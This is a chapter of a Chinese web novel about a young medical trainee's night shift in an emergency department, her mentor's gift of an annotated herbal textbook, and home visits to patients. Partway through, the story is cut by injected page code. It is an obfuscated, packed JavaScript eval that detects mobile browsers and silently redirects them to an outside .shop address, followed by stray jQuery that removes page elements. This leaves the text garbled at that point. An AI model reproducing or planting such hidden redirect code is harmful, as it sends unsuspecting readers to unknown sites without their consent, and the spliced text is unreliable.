第六十四章夜航
十一月的最后一个周三，沈渡跟陈槿值夜班。入冬后天黑得早，五点多路灯就亮了。她到急诊科的时候，陈槿正在分诊台看登记本，抬头看了她一眼。“今天有个重病人，你跟着。”沈渡穿上白大褂，口袋里装上随身的小笔记本。
重病人是个七十多岁的老头，从养老院送来的，喘不上气。沈渡跑过去的时候，心电监护已经上了，血氧饱和度只有百分之七十几。老人的嘴唇发紫，额头上全是汗。他的双手撑在床边，身体前倾，像一个人在拼命抱住自己。
陈槿站在床头，动作很快。无创呼吸机面罩扣上去，氧气通进去，老人的呼吸慢慢没那么费力了。沈渡站在旁边看心电监护上的数字，血氧从七十几升到八十几，又从八十几升到九十几。
“动脉血气做了吗？”陈槿问。
“做了，结果还没出来。”护士回答。
“催一下。”
沈渡看着那个老人。他闭着眼睛，面罩下的脸很瘦。她想起赵大爷，想起他说“一个人懒得做”——这些老人，一个人住，一个人吃饭，一个人看病。病了没人照顾，好了没人知道。她不也是一个人住，一个人吃饭，一个人看书。但她还年轻，她还能照顾自己，他们不能。
血气结果出来了——二氧化碳分压八十，氧分压五十。二型呼吸衰竭，慢阻肺急性加重。“无创通气继续，加用甲强龙、抗生素。如果意识状态恶化，准备插管。”陈槿在医嘱本上写着。沈渡在旁边看着那些药名和剂量，脑子里过了一遍——甲强龙，糖皮质激素，抗炎；抗生素，控制感染；无创通气，改善通气和氧合。每一样都是她学过的，但从陈槿手里开出来，比她学到的更有用。
病人被转到了留观室，沈渡跟着过去，把心电监护上的参数调好。起身时，老人的手忽然抓住了她的手腕。力道不重，但沈渡没有抽开。他闭着眼睛，嘴巴在动，声音太小了。沈渡弯下腰，把耳朵凑到他嘴边。
“很难受。”沈渡直起身。她没有说话，也没有把手抽回来，就让他握着。握了一会儿，他的手松了，放开了。他睡着了，呼吸平稳。沈渡把被角掖好，关了灯，走出来。
陈槿在办公室写病历，沈渡敲了门进去，在她对面坐下来。
“那个老人，他一个人。”
“嗯。”
“他没有家属？”
“有。儿子在外地，打电话说赶不回来。”
陈槿打字的手没停，屏幕上的光映在她脸上，白得有些刺眼。她打完了，抬头看着沈渡。“你知道我为什么让你来急诊科？”沈渡想了想。“让我学东西。”
“学什么？”
“学怎么救人。”
陈槿靠在椅背上。“救人谁都会。心肺复苏、气管插管、电除颤，你学几个月就能上手。但有些东西，学不会。”沈渡等着她说。“你学不会怎么面对家属，怎么面对死亡，怎么面对自己的无力。这些不是学的，是熬的。熬过去了，你就成了。”
沈渡不知道她能不能熬过去，但她没有别的路。陈槿把打印出来的病历放在桌上，转过电脑屏幕，指着屏幕上那个老人的心电图。“这个人，二型呼衰，无创通气有效，不需要插管。但下次他再来，可能就没这么幸运了。”沈渡看着那张心电图。“我们能做的有限。”陈槿把屏幕转回去。
夜班平静下来。后半夜没有再送来重病人。沈渡在留观室查了一圈，病人的生命体征都稳定。她回到办公室，陈槿在折叠床上睡着了。沈渡没有叫醒她，坐在椅子上把那本《助理医师资格考试真题解析》拿出来看。她翻到呼吸系统那一章，看到一道题：慢性阻塞性肺疾病急性加重期，无创通气的禁忌证不包括——A.心跳呼吸骤停，B.上气道梗阻，C.昏迷，D.自主呼吸微弱。她的笔在指尖转了两圈，选了C。答案是D。自主呼吸微弱是无创通气的相对禁忌证，不是绝对禁忌。她把这个记在错题本上。
天快亮的时候，那本真题解析她只做了十几道题。她收起来放进包里。急诊科的夜班不是让她来学习的，是让她来工作的。
早上交完班，沈渡走出急诊科。风很大，吹得她头发糊了一脸。她把头发别到耳后，走到公交站。站台边上有一个卖烤红薯的炉子，铁皮桶改的，红薯在炉膛里排成一圈，表皮焦黄。她买了一个，捧在手心里，很烫。公交车来了，她上了车，坐在最后一排，剥开红薯皮。红薯很甜，甜得她有点不习惯。十一月底，冬意已经很浓了。天冷的时候吃一个热红薯，胃里暖和了，人就觉得有盼头。她的盼头是什么？是明年六月的考试。
周六义诊的时候，贺老来了。不是来看病的，是来找她的。他穿着深蓝色的棉袄，围着围巾，手里拎着一个纸袋。沈渡正在给一个腰疼的大姐扎针，看到贺老走进来，手里的针顿了一下，又继续扎下去。
贺老没打扰她，坐在候诊区的椅子上，把纸袋放在膝盖上。沈渡忙完了，走过去在他旁边坐下来。“贺老，您怎么来了？”“给你送点东西。”他把纸袋递给她。沈渡接过来，打开，里面是一本《中药学》。页边写满了批注，是贺老的笔迹。
“你助理医师考试要考中药，这本你拿去用。”沈渡把书抱在怀里。“贺老，这是您的。”“我的就是你的。你用完了再还我。”
沈渡没有说谢谢。她抱着那本书，在贺老旁边坐了一会儿。诊室里人来人往，没有人注意到他们。林医生从隔壁诊室探出头来，看到贺老，说了一声“贺老师好”。贺老点了点头。沈渡看着贺老的侧脸，想着他教过多少人——卫健委那个工作人员，林医生，还有她。他教过很多人，有些人成了医生，有些人没有。沈渡不知道她会成为哪一种，但她知道她是被教过的，她不会忘。
下午沈渡去了裴衍那里。裴衍没有在医院，他回家了。沈渡第一次去他家，一栋独栋别墅，在城东的河边。客厅很大，装修很简洁，没有什么多余的摆设。裴衍坐在轮椅上，看着窗外的河。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17691515|206186||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
“你来了？”他没有回头。沈渡走过去，在他旁边坐下来。河的对面是一片树林，冬天的树光秃秃的。裴衍的手在扶手上轻轻搓着，搓得很慢。沈渡把手指搭上他的脉，弦细，尺弱。她还是大定风珠加减。
“裴先生，您上次寄请柬给我，我没去。”“我知道。”裴衍看着窗外。“你不来是对的。”
沈渡看着他的侧脸。他比她刚见到的时候老了，眼角的纹路更深了。帕金森病不会让他老，让他老的是时间。“裴先生，您为什么不请别的医生？比我好的医生很多。”裴衍的手停了下来。“他们比你懂，但他们不比你认真。”
沈渡开好方子，把处方笺放在茶几上。她站起来准备走。裴衍叫住她。“沈渡，如果有一天我不能动了，你会帮我吗？”沈渡站在门口，光从她身后照进来，把她的影子拉得很长。“会。我是您的医生。”
裴衍看着她。她没有回头，推门出去了。
周日，沈渡去徐敏家。念念快一周岁了，会走路了。走得不稳，摇摇晃晃的，像一棵被风吹歪的小树。徐敏跟在她身后，两只手张着。念念从客厅走到厨房，又从厨房走到阳台。她看到沈渡，停下来，朝她伸出手。“抱。”沈渡蹲下来，念念扑进她怀里，软软的，暖暖的。她的头发很细，贴在沈渡的脸上，痒痒的。
“念念最近会说很多话了。”徐敏也蹲下来。“爸爸、妈妈、奶奶、抱抱、不要。”徐敏笑了。“不要是最早学会的。”
念念从沈渡怀里挣出来，跑去抓沙发上的抱枕。沈渡看着她的背影。学会说不，是每个人最早的本事。她也是在学，不是对念念，是对这个世界。说不，不是拒绝，是选择。
晚上沈渡回到家，把那本《中药学》翻开。贺老的批注密密麻麻的，红色的、蓝色的、黑色的。她在“麻黄”那一页看到一行字——“发汗解表，宣肺平喘，利水消肿。切记：虚人慎用。”她在旁边画了一个圈。她曾在一个患者身上用过麻黄，那个患者后来半夜睡不着。不是因为麻黄用错了，是太晚了。下午服用的麻黄，药性到晚上还没散。她忘了麻黄有兴奋作用。贺老没有教过她这个，是病人教她的。病人是最好的老师。
沈渡把那本《中药学》放在书架上，和《濒湖脉学》《方剂学》《针灸大成》放在一起。书架快满了。她看着那些书脊，想起第一次走进贺老院子的那个下午——阳光从枇杷树叶缝里漏下来，洒在她手上的那本《濒湖脉学》上。彼时她不知道“浮脉”是什么意思，此刻她已经摸过了几万个脉。很多人，很多故事，很多命。她没有救活所有人，但她救了能救的。这就够了。
窗外的月亮不圆，缺了一块。沈渡关了台灯，月光从窗帘缝隙里挤进来，落在地板上，银白色，像霜。她在霜里躺了很久，等到眼睛适应了黑暗。其实不需要光，她闭着眼睛也知道路。路在心里，光也在心里。她把手放在胸口，感觉心跳，一下一下，不快不慢。不知道什么时候，她睡着了，一夜无梦。